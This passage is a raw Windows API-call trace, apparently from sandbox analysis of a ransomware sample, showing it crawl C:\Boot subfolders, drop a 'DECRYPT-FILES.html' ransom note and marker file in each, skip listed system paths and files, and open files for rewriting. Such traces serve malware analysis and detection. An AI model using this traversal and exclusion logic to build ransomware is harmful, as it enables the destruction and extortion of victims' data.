lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0058.647] CloseHandle (hObject=0x304) returned 1 [0058.647] lstrlenW (lpString="C:\\Boot\\nb-NO\\") returned 14 [0058.647] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="*" | out: lpString1="C:\\Boot\\nb-NO\\*") returned="C:\\Boot\\nb-NO\\*" [0058.647] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88bf8490, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88bf8490, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0058.648] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.648] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88bf8490, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88bf8490, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.648] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.648] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.648] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0058.648] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0058.648] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0058.648] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0058.648] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0058.648] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0058.648] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0058.648] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0058.648] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0058.648] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0058.648] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0058.648] lstrlenW (lpString="C:\\Boot\\nb-NO\\") returned 14 [0058.648] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0058.648] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\nb-NO\\" | out: lpString1="C:\\Boot\\nb-NO\\") returned="C:\\Boot\\nb-NO\\" [0058.648] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="C:\\Boot\\nb-NO\\bootmgr.exe.mui" [0058.648] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.649] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.652] CloseHandle (hObject=0x0) returned 0 [0058.652] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.652] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88bf8490, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88bf8490, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88bf8490, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0058.652] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0058.652] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88bf8490, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88bf8490, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88bf8490, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.652] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.652] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.653] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.653] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.653] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.653] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.653] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.653] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.653] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.653] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.653] lstrlenW (lpString="C:\\Boot\\nb-NO\\") returned 14 [0058.653] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.653] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\nb-NO\\" | out: lpString1="C:\\Boot\\nb-NO\\") returned="C:\\Boot\\nb-NO\\" [0058.653] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\nb-NO\\wevkgn5.dat") returned="C:\\Boot\\nb-NO\\wevkgn5.dat" [0058.653] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.653] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\wevkgn5.dat" (normalized: "c:\\boot\\nb-no\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.653] CloseHandle (hObject=0x0) returned 0 [0058.653] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.654] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88bf8490, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88bf8490, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88bf8490, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0058.654] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0058.654] CloseHandle (hObject=0x300) returned 1 [0058.654] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0058.654] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1 [0058.654] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1 [0058.654] lstrcatW (in: lpString1="nl-NL", lpString2="\\" | out: lpString1="nl-NL\\") returned="nl-NL\\" [0058.654] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="nl-NL\\" | out: lpString1="C:\\Boot\\nl-NL\\") returned="C:\\Boot\\nl-NL\\" [0058.654] StrStrW (lpFirst="C:\\Boot\\nl-NL\\", lpSrch=":\\Windows") returned 0x0 [0058.654] StrStrW (lpFirst="C:\\Boot\\nl-NL\\", lpSrch="\\Program Files") returned 0x0 [0058.654] StrStrW (lpFirst="C:\\Boot\\nl-NL\\", lpSrch="\\Games\\") returned 0x0 [0058.654] StrStrW (lpFirst="C:\\Boot\\nl-NL\\", lpSrch="\\Tor Browser\\") returned 0x0 [0058.654] StrStrW (lpFirst="C:\\Boot\\nl-NL\\", lpSrch="\\ProgramData\\") returned 0x0 [0058.654] StrStrW (lpFirst="C:\\Boot\\nl-NL\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0058.654] StrStrW (lpFirst="C:\\Boot\\nl-NL\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0058.654] StrStrW (lpFirst="C:\\Boot\\nl-NL\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0058.654] StrStrW (lpFirst="C:\\Boot\\nl-NL\\", lpSrch="\\All Users") returned 0x0 [0058.654] lstrlenW (lpString="C:\\Boot\\nl-NL\\") returned 14 [0058.655] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.655] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\nl-NL\\\\wevkgn5.dat") returned 26 [0058.655] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\\\wevkgn5.dat" (normalized: "c:\\boot\\nl-nl\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x300 [0058.656] lstrlenW (lpString="C:\\Boot\\nl-NL\\") returned 14 [0058.656] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0058.656] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\nl-NL\\\\DECRYPT-FILES.html") returned 33 [0058.656] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\nl-nl\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.656] WriteFile (in: hFile=0x304, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0058.657] CloseHandle (hObject=0x304) returned 1 [0058.657] lstrlenW (lpString="C:\\Boot\\nl-NL\\") returned 14 [0058.657] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="*" | out: lpString1="C:\\Boot\\nl-NL\\*") returned="C:\\Boot\\nl-NL\\*" [0058.657] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88c1e5f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c1e5f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0058.657] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.658] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88c1e5f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c1e5f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.658] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.658] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.658] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0058.658] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0058.658] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0058.658] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0058.658] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0058.658] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0058.658] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0058.658] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0058.658] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0058.658] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0058.658] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0058.658] lstrlenW (lpString="C:\\Boot\\nl-NL\\") returned 14 [0058.658] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0058.658] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\nl-NL\\" | out: lpString1="C:\\Boot\\nl-NL\\") returned="C:\\Boot\\nl-NL\\" [0058.658] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="C:\\Boot\\nl-NL\\bootmgr.exe.mui" [0058.659] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.659] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.659] CloseHandle (hObject=0x0) returned 0 [0058.659] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.659] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c1e5f0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c1e5f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c1e5f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0058.659] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0058.659] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c1e5f0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c1e5f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c1e5f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.660] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.660] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.660] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.660] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.660] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.660] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.660] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.660] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.660] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.660] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.660] lstrlenW (lpString="C:\\Boot\\nl-NL\\") returned 14 [0058.660] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.660] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\nl-NL\\" | out: lpString1="C:\\Boot\\nl-NL\\") returned="C:\\Boot\\nl-NL\\" [0058.660] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\nl-NL\\wevkgn5.dat") returned="C:\\Boot\\nl-NL\\wevkgn5.dat" [0058.660] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.661] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\wevkgn5.dat" (normalized: "c:\\boot\\nl-nl\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.661] CloseHandle (hObject=0x0) returned 0 [0058.661] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.661] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c1e5f0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c1e5f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c1e5f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0058.661] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0058.661] CloseHandle (hObject=0x300) returned 1 [0058.661] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0058.661] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1 [0058.662] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1 [0058.662] lstrcatW (in: lpString1="pl-PL", lpString2="\\" | out: lpString1="pl-PL\\") returned="pl-PL\\" [0058.662] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pl-PL\\" | out: lpString1="C:\\Boot\\pl-PL\\") returned="C:\\Boot\\pl-PL\\" [0058.662] StrStrW (lpFirst="C:\\Boot\\pl-PL\\", lpSrch=":\\Windows") returned 0x0 [0058.662] StrStrW (lpFirst="C:\\Boot\\pl-PL\\", lpSrch="\\Program Files") returned 0x0 [0058.662] StrStrW (lpFirst="C:\\Boot\\pl-PL\\", lpSrch="\\Games\\") returned 0x0 [0058.662] StrStrW (lpFirst="C:\\Boot\\pl-PL\\", lpSrch="\\Tor Browser\\") returned 0x0 [0058.662] StrStrW (lpFirst="C:\\Boot\\pl-PL\\", lpSrch="\\ProgramData\\") returned 0x0 [0058.662] StrStrW (lpFirst="C:\\Boot\\pl-PL\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0058.662] StrStrW (lpFirst="C:\\Boot\\pl-PL\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0058.662] StrStrW (lpFirst="C:\\Boot\\pl-PL\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0058.662] StrStrW (lpFirst="C:\\Boot\\pl-PL\\", lpSrch="\\All Users") returned 0x0 [0058.662] lstrlenW (lpString="C:\\Boot\\pl-PL\\") returned 14 [0058.662] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.662] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\pl-PL\\\\wevkgn5.dat") returned 26 [0058.662] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\\\wevkgn5.dat" (normalized: "c:\\boot\\pl-pl\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x300 [0058.663] lstrlenW (lpString="C:\\Boot\\pl-PL\\") returned 14 [0058.663] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0058.663] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\pl-PL\\\\DECRYPT-FILES.html") returned 33 [0058.663] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\pl-pl\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.680] WriteFile (in: hFile=0x304, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0058.681] CloseHandle (hObject=0x304) returned 1 [0058.682] lstrlenW (lpString="C:\\Boot\\pl-PL\\") returned 14 [0058.682] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="*" | out: lpString1="C:\\Boot\\pl-PL\\*") returned="C:\\Boot\\pl-PL\\*" [0058.682] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88c44750, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c44750, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0058.683] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.683] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88c44750, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c44750, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.683] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.683] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.683] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0058.683] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0058.683] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0058.683] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0058.683] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0058.683] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0058.683] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0058.683] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0058.683] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0058.683] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0058.683] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0058.683] lstrlenW (lpString="C:\\Boot\\pl-PL\\") returned 14 [0058.683] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0058.683] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\pl-PL\\" | out: lpString1="C:\\Boot\\pl-PL\\") returned="C:\\Boot\\pl-PL\\" [0058.683] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="C:\\Boot\\pl-PL\\bootmgr.exe.mui" [0058.683] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.684] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, 